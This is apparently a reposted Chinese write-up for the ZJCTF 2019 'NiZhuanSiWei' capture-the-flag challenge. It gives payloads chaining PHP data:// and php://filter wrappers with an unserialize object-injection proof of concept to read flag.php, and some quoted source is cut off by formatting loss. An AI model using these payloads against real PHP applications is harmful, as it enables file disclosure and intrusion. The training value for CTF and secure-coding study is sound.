[ZJCTF 2019]NiZhuanSiWei

目录

信息收集

代码审计

第一层

第二层

第三层


信息收集

打开页面又是代码审计

代码如下

 

".file_get_contents($text,'r')."


";     if(preg_match("/flag/",$file)){         echo "Not now!";         exit();      }else{         include($file);  //useless.php         $password = unserialize($password);         echo $password;     } } else{     highlight_file(__FILE__); } ?>

代码审计

第一层

通过data伪协议模拟打开text文件

?text=data://text/plain,welcome to the zjctf

第二层

通过filter伪协议读取useless.php

file=php://filter/convert.base64-encode/resource=useless.php

进行base64解码后得到useless.php的内容

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

第三层

看样子是利用反序列化

  • poc

class Flag{  //flag.php  

    public $file='flag.php';  

    public function __tostring()

    {  

        if(isset($this->file))

        {  

            echo file_get_contents($this->file);

            echo "
";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

$a=new Flag();

echo serialize($a);

?>  

  • 序列化的结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  • payload

?text=data://text/plain,welcome to the zjctf
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

返回结果的源码里面找到flag 

[ZJCTF 2019]NiZhuanSiWei_第1张图片

你可能感兴趣的:(web安全,php,安全,网络安全,web安全)